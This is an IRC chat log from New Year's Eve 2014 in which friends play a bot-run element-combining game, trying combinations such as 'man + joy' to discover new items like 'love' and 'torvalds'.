[2014-12-31T19:38:33-0500] <alokpathy> Microcorruption :D
[2014-12-31T19:40:05-0500] <+hardmath123> wut
[2014-12-31T19:40:14-0500] <+hardmath123> so much activity
[2014-12-31T19:40:21-0500] <alokpathy> hardmath123: Not really
[2014-12-31T19:40:25-0500] <alokpathy> 50% of it is probably
[2014-12-31T19:40:26-0500] <+hardmath123> i'm too lazy to scroll up to find my mentions
[2014-12-31T19:40:28-0500] <alokpathy> "@hint"
[2014-12-31T19:40:33-0500] <alokpathy> Wow okay :P
[2014-12-31T19:40:42-0500] <+hardmath123> irssi, yo
[2014-12-31T19:40:49-0500] <+hardmath123> scrolling needs three fingers
[2014-12-31T19:41:33-0500] <alokpathy> So that's what you use :P
[2014-12-31T19:41:48-0500] <+hardmath123> I used to use weechat
[2014-12-31T19:41:52-0500] <+hardmath123> i'm not sure why I converted
[2014-12-31T19:41:54-0500] <+hardmath123> @list
[2014-12-31T19:41:55-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:41:55-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:41:55-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2014-12-31T19:41:55-0500] <alchemy> You have: tool, tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:41:55-0500] <alchemy> That's 69 out of 123!
[2014-12-31T19:42:12-0500] <+hardmath123> you found jacob
[2014-12-31T19:42:16-0500] <+hardmath123> and starship
[2014-12-31T19:42:21-0500] <alokpathy> Mhm
[2014-12-31T19:42:28-0500] <alokpathy> And all our hints were like
[2014-12-31T19:42:33-0500] <alokpathy> "You can find X with genius!"
[2014-12-31T19:42:43-0500] <alokpathy> but we don't know how to find genius xD
[2014-12-31T19:42:52-0500] <+hardmath123> Lemme look it up :P
[2014-12-31T19:43:08-0500] <+hardmath123> oh wow its really obvious
[2014-12-31T19:43:15-0500] <alokpathy> With what we have?
[2014-12-31T19:43:22-0500] <+hardmath123> yeah
[2014-12-31T19:43:26-0500] <+hardmath123> @hint
[2014-12-31T19:43:27-0500] <alchemy> Not this time!
[2014-12-31T19:43:45-0500] <alokpathy> Tamini_: Apparently genius is really obvious with what we have.
[2014-12-31T19:43:57-0500] <Tamini_> ooh
[2014-12-31T19:44:01-0500] <alokpathy> Oh wait brb
[2014-12-31T19:44:02-0500] <Tamini_> im good at obvious
[2014-12-31T19:44:04-0500] <Tamini_> @list
[2014-12-31T19:44:04-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:44:04-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:44:04-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2014-12-31T19:44:04-0500] <alchemy> You have: tool, tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:44:04-0500] <alchemy> That's 69 out of 123!
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[2014-12-31T19:44:45-0500] <+hardmath123> @possible pingu
[2014-12-31T19:44:46-0500] <alchemy> Yeah, you can make pingu.
[2014-12-31T19:44:51-0500] <+hardmath123> :D
[2014-12-31T19:48:29-0500] <Tamini_> @combine linux man
[2014-12-31T19:48:29-0500] <alchemy> You just discovered nexorg (linux + man)!
[2014-12-31T19:48:35-0500] <Tamini_> oh hey
[2014-12-31T19:48:39-0500] <Tamini_> @combine light man
[2014-12-31T19:48:40-0500] <alchemy> light and man don't make anything exciting.
[2014-12-31T19:48:44-0500] <Tamini_> @combine linux hacker
[2014-12-31T19:48:44-0500] <alchemy> linux and hacker don't make anything exciting.
[2014-12-31T19:48:56-0500] <+hardmath123> oh dammit that should make torvalds, duh
[2014-12-31T19:48:57-0500] <+hardmath123> brb
[2014-12-31T19:49:25-0500] <+hardmath123> @refresh
[2014-12-31T19:49:25-0500] <alchemy> Refreshing...
[2014-12-31T19:49:26-0500] <alchemy> Done.
[2014-12-31T19:49:36-0500] <+hardmath123> >>>> @combine linux hacker
[2014-12-31T19:52:58-0500] <alokpathy> Back
[2014-12-31T19:53:06-0500] <alokpathy> Oh nice we got nexorg
[2014-12-31T19:53:27-0500] <alokpathy> @combine penguin sentience
[2014-12-31T19:53:28-0500] <alchemy> penguin and sentience don't make anything exciting.
[2014-12-31T19:54:03-0500] <alokpathy> @combine Linux hacker
[2014-12-31T19:54:04-0500] <alchemy> You just discovered torvalds (linux + hacker)!
[2014-12-31T19:54:21-0500] <Tamini_> @list
[2014-12-31T19:54:22-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:54:22-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn
[2014-12-31T19:54:22-0500] <alchemy> You have: penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword
[2014-12-31T19:54:22-0500] <alchemy> You have: thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:54:22-0500] <alchemy> That's 71 out of 127!
[2014-12-31T19:54:38-0500] <Tamini_> @combine man energy
[2014-12-31T19:54:39-0500] <alchemy> man and energy don't make anything exciting.
[2014-12-31T19:54:43-0500] <Tamini_> @combine man light
[2014-12-31T19:54:43-0500] <alchemy> man and light don't make anything exciting.
[2014-12-31T19:54:49-0500] <Tamini_> also man+energy =jedi(?)
[2014-12-31T19:55:36-0500] <+hardmath123> @possible lightsaber
[2014-12-31T19:55:37-0500] <alchemy> Yeah, you can make lightsaber.
[2014-12-31T19:55:52-0500] <+hardmath123> Tamini_: ^^
[2014-12-31T19:59:02-0500] <Tamini_> :P
[2014-12-31T19:59:06-0500] <Tamini_> @combine sword energy
[2014-12-31T19:59:07-0500] <alchemy> sword and energy don't make anything exciting.
[2014-12-31T19:59:09-0500] <Tamini_> :<
[2014-12-31T19:59:14-0500] <Tamini_> @combine sword light
[2014-12-31T19:59:14-0500] <alchemy> You just discovered lightsaber (sword + light)!
[2014-12-31T19:59:20-0500] <Tamini_> @combine man lightsaber
[2014-12-31T19:59:21-0500] <alchemy> man and lightsaber don't make anything exciting.
[2014-12-31T19:59:26-0500] <Tamini_> @possible jedi
[2014-12-31T19:59:27-0500] <alchemy> No, you can't make jedi.
[2014-12-31T19:59:53-0500] <Tamini_> how do you genius/love :<
[2014-12-31T20:00:28-0500] <+hardmath123> @help
[2014-12-31T20:00:28-0500] <alchemy> To mix a new brew: `@combine <element> <element>`
[2014-12-31T20:00:28-0500] <alchemy> To list your elements: `@list`
[2014-12-31T20:00:28-0500] <alchemy> Also try `@encourage`, `@possible`, and `@hint`.
[2014-12-31T20:00:33-0500] <+hardmath123> @hint
[2014-12-31T20:00:33-0500] <alchemy> No can do, buddy.
[2014-12-31T20:00:45-0500] <+hardmath123> They're both possible with what you have.
[2014-12-31T20:01:31-0500] <Tamini_> @hint
[2014-12-31T20:01:32-0500] <alchemy> No can do, buddy.
[2014-12-31T20:01:40-0500] <Tamini_> hm
[2014-12-31T20:01:46-0500] <Tamini_> @combine light friendship
[2014-12-31T20:01:46-0500] <alchemy> light and friendship don't make anything exciting.
[2014-12-31T20:03:07-0500] <Tamini_> alokpathy: halp
[2014-12-31T20:03:26-0500] <Tamini_> @combine man sentience
[2014-12-31T20:03:26-0500] <alchemy> You already combined man and sentience to get evil.
[2014-12-31T20:05:18-0500] <Tamini_> @encourage
[2014-12-31T20:05:20-0500] <Tamini_> @hint
[2014-12-31T20:05:20-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T20:05:22-0500] <Tamini_> @hint
[2014-12-31T20:05:22-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T20:05:37-0500] <Tamini_> hardmath123: encourage is broken
[2014-12-31T20:08:19-0500] <+hardmath123> @encourage Tamini_
[2014-12-31T20:08:20-0500] <alchemy> I believe in Tamini_.
[2014-12-31T20:08:33-0500] <+hardmath123> You need to provide an encouragee.
[2014-12-31T20:08:37-0500] <+hardmath123> @encourage Tamini_
[2014-12-31T20:08:38-0500] <alchemy> I love you, Tamini_.
[2014-12-31T20:09:33-0500] <Tamini_> awe
[2014-12-31T20:09:34-0500] <Tamini_> <3
[2014-12-31T20:09:38-0500] <Tamini_> aww*
[2014-12-31T20:09:48-0500] <Tamini_> lol my phone autocorrects again
[2014-12-31T20:13:19-0500] <Tamini_> @combine internet human
[2014-12-31T20:13:20-0500] <alchemy> You don't have human!
[2014-12-31T20:13:25-0500] <Tamini_> @combine internet man
[2014-12-31T20:13:25-0500] <alchemy> You already combined internet and man to get hacker.
[2014-12-31T20:13:28-0500] <Tamini_> @combine google man
[2014-12-31T20:13:29-0500] <alchemy> google and man don't make anything exciting.
[2014-12-31T20:13:33-0500] <alokpathy> Tamini_: What?
[2014-12-31T20:14:19-0500] <alokpathy> @list
[2014-12-31T20:14:20-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T20:14:20-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, man, metal, mountain, neanderthal, nexorg, ocean, olaf, paper
[2014-12-31T20:14:20-0500] <alchemy> You have: pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone
[2014-12-31T20:14:20-0500] <alchemy> You have: sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T20:14:20-0500] <alchemy> That's 72 out of 127!
[2014-12-31T20:14:30-0500] <alokpathy> I feel like this was the most alchemy productive day we've had XD
[2014-12-31T20:14:55-0500] <alokpathy> @combine lightsaber man
[2014-12-31T20:14:56-0500] <alchemy> lightsaber and man don't make anything exciting.
[2014-12-31T20:14:58-0500] <alokpathy> False
[2014-12-31T20:15:04-0500] <Tamini_> lol
[2014-12-31T20:15:09-0500] <Tamini_> @possible jedi
[2014-12-31T20:15:10-0500] <alchemy> No, you can't make jedi.
[2014-12-31T20:15:12-0500] <alokpathy> @combine lightsaber aaron
[2014-12-31T20:15:12-0500] <alchemy> lightsaber and aaron don't make anything exciting.
[2014-12-31T20:15:15-0500] <alokpathy> @combine lightsaber alok
[2014-12-31T20:15:15-0500] <alchemy> lightsaber and alok don't make anything exciting.
[2014-12-31T20:15:16-0500] <alokpathy> @combine lightsaber jacob
[2014-12-31T20:15:17-0500] <alchemy> lightsaber and jacob don't make anything exciting.
[2014-12-31T20:15:22-0500] <alokpathy> Wait we still don't have genius
[2014-12-31T20:15:22-0500] <alokpathy> ugh
[2014-12-31T20:15:22-0500] <Tamini_> also uh genius and love are both
[2014-12-31T20:15:27-0500] <Tamini_> possible with what we have
[2014-12-31T20:15:55-0500] <alokpathy> Yeah
[2014-12-31T20:19:10-0500] <+hardmath123> @possible recursion
[2014-12-31T20:19:10-0500] <alchemy> Yeah, you can make recursion.
[2014-12-31T20:19:16-0500] <+hardmath123> @combine recursion recursion
[2014-12-31T20:19:17-0500] <alchemy> You don't have recursion!
[2014-12-31T20:22:43-0500] <Tamini_> LOL
[2014-12-31T20:24:33-0500] <Tamini_> @combine python python
[2014-12-31T20:24:34-0500] <alchemy> python and python don't make anything exciting.
[2014-12-31T20:24:40-0500] <Tamini_> @combine python whitespace
[2014-12-31T20:24:41-0500] <alchemy> python and whitespace don't make anything exciting.
[2014-12-31T20:24:46-0500] <Tamini_> @combine whitespace rvil
[2014-12-31T20:24:47-0500] <alchemy> You don't have rvil!
[2014-12-31T20:24:51-0500] <Tamini_> @combine whitespace evil
[2014-12-31T20:24:53-0500] <alchemy> whitespace and evil don't make anything exciting.
[2014-12-31T20:24:57-0500] <Tamini_> @possible brainfuck
[2014-12-31T20:24:58-0500] <alchemy> No, you can't make brainfuck.
[2014-12-31T20:25:04-0500] <Tamini_> hardmath123: ^ :(
[2014-12-31T20:25:41-0500] <alokpathy> @list
[2014-12-31T20:25:42-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T20:25:42-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, man, metal, mountain, neanderthal, nexorg, ocean, olaf, paper
[2014-12-31T20:25:42-0500] <alchemy> You have: pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone
[2014-12-31T20:25:42-0500] <alchemy> You have: sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T20:25:42-0500] <alchemy> That's 72 out of 127!
[2014-12-31T20:25:46-0500] <+hardmath123> I prefer to keep my sourcefiles PG-rated?
[2014-12-31T20:25:55-0500] <+hardmath123> Tamini_: ^
[2014-12-31T20:26:02-0500] <alokpathy> hardmath123: Jacob isn't very PG
[2014-12-31T20:28:02-0500] <+hardmath123> JacobEdelman: are you PG-rated?
[2014-12-31T20:32:42-0500] <Tamini_> aww
[2014-12-31T20:32:45-0500] <Tamini_> :P
[2014-12-31T20:32:54-0500] <Tamini_> but its such a good language
[2014-12-31T20:32:57-0500] <+JacobEdelman> I am pg
[2014-12-31T20:33:01-0500] <alokpathy> hardmath123: Why nexorg and not nezort?
[2014-12-31T20:33:05-0500] <alokpathy> JacobEdelman: Don't lie :P
[2014-12-31T20:33:08-0500] <+JacobEdelman> also, I'm back
[2014-12-31T20:33:13-0500] <alokpathy> hardmath123: nezorg*
[2014-12-31T20:33:27-0500] <Tamini_> because 20k pings
[2014-12-31T20:33:32-0500] <+JacobEdelman> oh , correction
[2014-12-31T20:33:36-0500] <Tamini_> also give me a hint for genius guys :<
[2014-12-31T20:33:37-0500] <+JacobEdelman> jacob, the name is not pg
[2014-12-31T20:33:42-0500] <+JacobEdelman> although
[2014-12-31T20:33:45-0500] <+JacobEdelman> I never curse
[2014-12-31T20:33:49-0500] <+JacobEdelman> and pride myself on that
[2014-12-31T20:34:05-0500] <+JacobEdelman> (brainf*** is always spelled brainf*** in my book)
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[2014-12-31T20:34:15-0500] <chester-bot> @hint
[2014-12-31T20:34:15-0500] <chester-bot> @hint
[2014-12-31T20:34:15-0500] <chester-bot> @hint
[2014-12-31T20:34:15-0500] <chester-bot> @hint
[2014-12-31T20:34:15-0500] <chester-bot> @hint
[2014-12-31T20:34:15-0500] <chester-bot> @hint
[2014-12-31T20:34:15-0500] <chester-bot> @hint
[2014-12-31T20:34:15-0500] <chester-bot> @hint
[2014-12-31T20:34:15-0500] <chester-bot> @hint
[2014-12-31T20:34:15-0500] <chester-bot> @hint
[2014-12-31T20:34:16-0500] <+JacobEdelman> hows this hint?
[2014-12-31T20:34:16-0500] <alchemy> Not on your life.
[2014-12-31T20:34:16-0500] <chester-bot> @hint
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[2014-12-31T20:34:17-0500] <alchemy> Hint: It's possible to make joy with rainbow!
[2014-12-31T20:34:18-0500] <alchemy> No can do, buddy.
[2014-12-31T20:34:19-0500] <alchemy> Nope.
[2014-12-31T20:34:20-0500] <alchemy> Hint: It's possible to make mountain with wind!
[2014-12-31T20:34:21-0500] <alchemy> Hint: It's possible to make kitt with sentience!
[2014-12-31T20:34:22-0500] <alchemy> Nope.
[2014-12-31T20:34:23-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T20:34:24-0500] <alchemy> Hint: It's possible to make google with man!
[2014-12-31T20:34:25-0500] <alchemy> Not this time!
[2014-12-31T20:34:27-0500] <alchemy> Hint: It's possible to make plant with soil!
[2014-12-31T20:34:35-0500] <alokpathy> JacobEdelman: We can make genius with what we had
[2014-12-31T20:34:37-0500] <alokpathy> have*
[2014-12-31T20:34:40-0500] <+JacobEdelman> really>
[2014-12-31T20:34:44-0500] <alokpathy> JacobEdelman: and apparently it's really obvious.
[2014-12-31T20:34:45-0500] <+JacobEdelman> *really?
[2014-12-31T20:34:45-0500] <alokpathy> Yeah.
[2014-12-31T20:34:45-0500] <+hardmath123> genius needs man
[2014-12-31T20:34:48-0500] <+hardmath123> so does love
[2014-12-31T20:34:49-0500] <Tamini_> kitt?
[2014-12-31T20:34:50-0500] <+hardmath123> if that helps
[2014-12-31T20:34:50-0500] <+JacobEdelman> oh, okay
[2014-12-31T20:34:54-0500] <Tamini_> chester bot
[2014-12-31T20:34:54-0500] <alokpathy> A hint :D
[2014-12-31T20:34:56-0500] <Tamini_> man+everything
[2014-12-31T20:34:58-0500] <Tamini_> go
[2014-12-31T20:35:00-0500] <Tamini_> jkjk
[2014-12-31T20:35:01-0500] <+JacobEdelman> okay
[2014-12-31T20:35:04-0500] <alokpathy> @list
[2014-12-31T20:35:04-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T20:35:04-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, man, metal, mountain, neanderthal, nexorg, ocean, olaf, paper
[2014-12-31T20:35:04-0500] <alchemy> You have: pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone
[2014-12-31T20:35:04-0500] <alchemy> You have: sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T20:35:04-0500] <alchemy> That's 72 out of 127!
[2014-12-31T20:35:05-0500] <Tamini_> no im kidding
[2014-12-31T20:35:06-0500] <+JacobEdelman> what? jk
[2014-12-31T20:35:10-0500] <+JacobEdelman> ahhhh
[2014-12-31T20:35:12-0500] <+JacobEdelman> I was excited
[2014-12-31T20:35:14-0500] <+hardmath123> Tamini_: kitt from Knight Rider!
[2014-12-31T20:35:16-0500] <Tamini_> @combine man friendship
[2014-12-31T20:35:16-0500] <+JacobEdelman> @combine whitehat man
[2014-12-31T20:35:16-0500] <alchemy> man and friendship don't make anything exciting.
[2014-12-31T20:35:17-0500] <alchemy> whitehat and man don't make anything exciting.
[2014-12-31T20:35:23-0500] <+JacobEdelman> @combine man air
[2014-12-31T20:35:24-0500] <alchemy> man and air don't make anything exciting.
[2014-12-31T20:35:26-0500] <Tamini_> @combine man hal
[2014-12-31T20:35:27-0500] <alchemy> You already combined man and hal to get google.
[2014-12-31T20:35:27-0500] <+JacobEdelman> @combine man sentience
[2014-12-31T20:35:27-0500] <alchemy> You already combined man and sentience to get evil.
[2014-12-31T20:35:33-0500] <+JacobEdelman> @combine man  alok
[2014-12-31T20:35:36-0500] <+JacobEdelman> @combine man alok
[2014-12-31T20:35:36-0500] <Tamini_> @combine man chivalry
[2014-12-31T20:35:36-0500] <alokpathy> @combine man aaron
[2014-12-31T20:35:36-0500] <alchemy> man and alok don't make anything exciting.
[2014-12-31T20:35:37-0500] <alchemy> man and chivalry don't make anything exciting.
[2014-12-31T20:35:38-0500] <alchemy> man and aaron don't make anything exciting.
[2014-12-31T20:35:40-0500] <alokpathy> @list
[2014-12-31T20:35:41-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T20:35:41-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, man, metal, mountain, neanderthal, nexorg, ocean, olaf, paper
[2014-12-31T20:35:41-0500] <alchemy> You have: pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone
[2014-12-31T20:35:41-0500] <alchemy> You have: sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T20:35:41-0500] <alchemy> That's 72 out of 127!
[2014-12-31T20:35:42-0500] <+JacobEdelman> @combine man pool
[2014-12-31T20:35:42-0500] <alchemy> You just discovered backstroke (man + pool)!
[2014-12-31T20:35:45-0500] <+JacobEdelman> @combine man hole
[2014-12-31T20:35:45-0500] <alchemy> man and hole don't make anything exciting.
[2014-12-31T20:35:49-0500] <Tamini_> @combine man villain
[2014-12-31T20:35:49-0500] <alchemy> man and villain don't make anything exciting.
[2014-12-31T20:35:49-0500] <+JacobEdelman> @combine man cloud
[2014-12-31T20:35:50-0500] <alokpathy> lolwut
[2014-12-31T20:35:50-0500] <alchemy> man and cloud don't make anything exciting.
[2014-12-31T20:35:56-0500] <+JacobEdelman> @combine man crops
[2014-12-31T20:35:56-0500] <alchemy> man and crops don't make anything exciting.
[2014-12-31T20:36:00-0500] <+JacobEdelman> @combine man earth
[2014-12-31T20:36:00-0500] <alchemy> man and earth don't make anything exciting.
[2014-12-31T20:36:01-0500] <alokpathy> @combine man nexorg
[2014-12-31T20:36:01-0500] <alchemy> man and nexorg don't make anything exciting.
[2014-12-31T20:36:02-0500] <+JacobEdelman> @combine man energy
[2014-12-31T20:36:03-0500] <alchemy> man and energy don't make anything exciting.
[2014-12-31T20:36:04-0500] <Tamini_> @combine man joy
[2014-12-31T20:36:04-0500] <alchemy> You just discovered love (man + joy)!
[2014-12-31T20:36:06-0500] <+JacobEdelman> @combine man jacob
[2014-12-31T20:36:06-0500] <alchemy> man and jacob don't make anything exciting.
[2014-12-31T20:36:07-0500] <Tamini_> Oh wow
[2014-12-31T20:36:08-0500] <+JacobEdelman> yes
[2014-12-31T20:36:10-0500] <alokpathy> woooo
[2014-12-31T20:36:10-0500] <Tamini_> that was easy
[2014-12-31T20:36:10-0500] <+JacobEdelman> we gots man
[2014-12-31T20:36:14-0500] <+JacobEdelman> *love
[2014-12-31T20:36:14-0500] <alokpathy> @list
[2014-12-31T20:36:15-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google
[2014-12-31T20:36:15-0500] <alchemy> You have: hacker, hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, man, metal, mountain, neanderthal, nexorg, ocean
[2014-12-31T20:36:15-0500] <alchemy> You have: olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship
[2014-12-31T20:36:15-0500] <alchemy> You have: steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T20:36:15-0500] <alchemy> That's 74 out of 127!
[2014-12-31T20:36:16-0500] <+JacobEdelman> I meant love
[2014-12-31T20:36:16-0500] <Tamini_> @combine love paper
[2014-12-31T20:36:17-0500] <alchemy> You just discovered loveletter (love + paper)!
[2014-12-31T20:36:22-0500] <+JacobEdelman> @cmbine love puddle
[2014-12-31T20:36:25-0500] <+JacobEdelman> @combine love puddle
[2014-12-31T20:36:26-0500] <alchemy> love and puddle don't make anything exciting.
[2014-12-31T20:36:27-0500] <alokpathy> @combine man olaf
[2014-12-31T20:36:27-0500] <alchemy> man and olaf don't make anything exciting.
[2014-12-31T20:36:32-0500] <+JacobEdelman> @combine love hacker
[2014-12-31T20:36:33-0500] <alchemy> love and hacker don't make anything exciting.
[2014-12-31T20:36:35-0500] <+JacobEdelman> @combine love man
[2014-12-31T20:36:35-0500] <alchemy> love and man don't make anything exciting.
[2014-12-31T20:36:36-0500] <alokpathy> @combine man hacker
[2014-12-31T20:36:37-0500] <alchemy> man and hacker don't make anything exciting.
[2014-12-31T20:36:38-0500] <+JacobEdelman> @combine love jacob
[2014-12-31T20:36:38-0500] <alchemy> love and jacob don't make anything exciting.
[2014-12-31T20:36:41-0500] <alokpathy> @list
[2014-12-31T20:36:41-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google
[2014-12-31T20:36:41-0500] <alchemy> You have: hacker, hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal, mountain, neanderthal, nexorg
[2014-12-31T20:36:41-0500] <alchemy> You have: ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil
[2014-12-31T20:36:41-0500] <alchemy> You have: starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T20:36:41-0500] <alchemy> That's 75 out of 127!
[2014-12-31T20:36:43-0500] <+JacobEdelman> @combine love rainbow
[2014-12-31T20:36:44-0500] <alchemy> love and rainbow don't make anything exciting.
[2014-12-31T20:36:50-0500] <+JacobEdelman> @combine love starship
[2014-12-31T20:36:50-0500] <alchemy> love and starship don't make anything exciting.
[2014-12-31T20:36:52-0500] <alokpathy> @combine man hal
[2014-12-31T20:36:53-0500] <alchemy> You already combined man and hal to get google.
[2014-12-31T20:36:56-0500] <+JacobEdelman> @combine love snowman
[2014-12-31T20:36:57-0500] <alchemy> love and snowman don't make anything exciting.
[2014-12-31T20:37:02-0500] <alokpathy> @combine man linux
[2014-12-31T20:37:02-0500] <alchemy> You already combined man and linux to get nexorg.
[2014-12-31T20:37:03-0500] <+JacobEdelman> @combine love hal
[2014-12-31T20:37:04-0500] <alchemy> love and hal don't make anything exciting.
[2014-12-31T20:37:09-0500] <alokpathy> @combine man man
[2014-12-31T20:37:09-0500] <alchemy> You already combined man and man to get friendship.
[2014-12-31T20:37:14-0500] <+JacobEdelman> @combine love knight
[2014-12-31T20:37:14-0500] <alchemy> love and knight don't make anything exciting.
[2014-12-31T20:37:18-0500] <alokpathy> @combine man neanderthal
[2014-12-31T20:37:18-0500] <alchemy> man and neanderthal don't make anything exciting.
[2014-12-31T20:37:20-0500] <+JacobEdelman> @combine love lightsabe
[2014-12-31T20:37:20-0500] <alchemy> You don't have lightsabe!
[2014-12-31T20:37:21-0500] <alokpathy> @list
[2014-12-31T20:37:22-0500] <+JacobEdelman> @combine love lightsaber
[2014-12-31T20:37:22-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google
[2014-12-31T20:37:22-0500] <alchemy> You have: hacker, hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal, mountain, neanderthal, nexorg
[2014-12-31T20:37:22-0500] <alchemy> You have: ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil
[2014-12-31T20:37:22-0500] <alchemy> You have: starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T20:37:22-0500] <alchemy> That's 75 out of 127!
[2014-12-31T20:37:23-0500] <alchemy> love and lightsaber don't make anything exciting.
[2014-12-31T20:37:26-0500] <+JacobEdelman> @combine love sword
[2014-12-31T20:37:27-0500] <alchemy> love and sword don't make anything exciting.
[2014-12-31T20:37:29-0500] <alokpathy> @combine man villain
[2014-12-31T20:37:29-0500] <alchemy> man and villain don't make anything exciting.
[2014-12-31T20:37:31-0500] <+JacobEdelman> @combine love villain
[2014-12-31T20:37:32-0500] <alchemy> love and villain don't make anything exciting.
[2014-12-31T20:37:38-0500] <alokpathy> @combine man python
[2014-12-31T20:37:38-0500] <alchemy> man and python don't make anything exciting.
[2014-12-31T20:37:43-0500] <+JacobEdelman> @combine man wind
[2014-12-31T20:37:44-0500] <alchemy> man and wind don't make anything exciting.
[2014-12-31T20:37:47-0500] <+JacobEdelman> @combine man whitespace
[2014-12-31T20:37:47-0500] <alchemy> man and whitespace don't make anything exciting.
[2014-12-31T20:37:51-0500] <+JacobEdelman> @combine man water
[2014-12-31T20:37:51-0500] <alchemy> man and water don't make anything exciting.
[2014-12-31T20:37:55-0500] <alokpathy> @list
[2014-12-31T20:37:56-0500] <+JacobEdelman> @combine man villain
[2014-12-31T20:37:56-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google
[2014-12-31T20:37:56-0500] <alchemy> You have: hacker, hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal, mountain, neanderthal, nexorg
[2014-12-31T20:37:56-0500] <alchemy> You have: ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil
[2014-12-31T20:37:56-0500] <alchemy> You have: starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T20:37:56-0500] <alchemy> That's 75 out of 127!
[2014-12-31T20:37:57-0500] <alchemy> man and villain don't make anything exciting.
[2014-12-31T20:38:12-0500] <Tamini_> i want genius :<
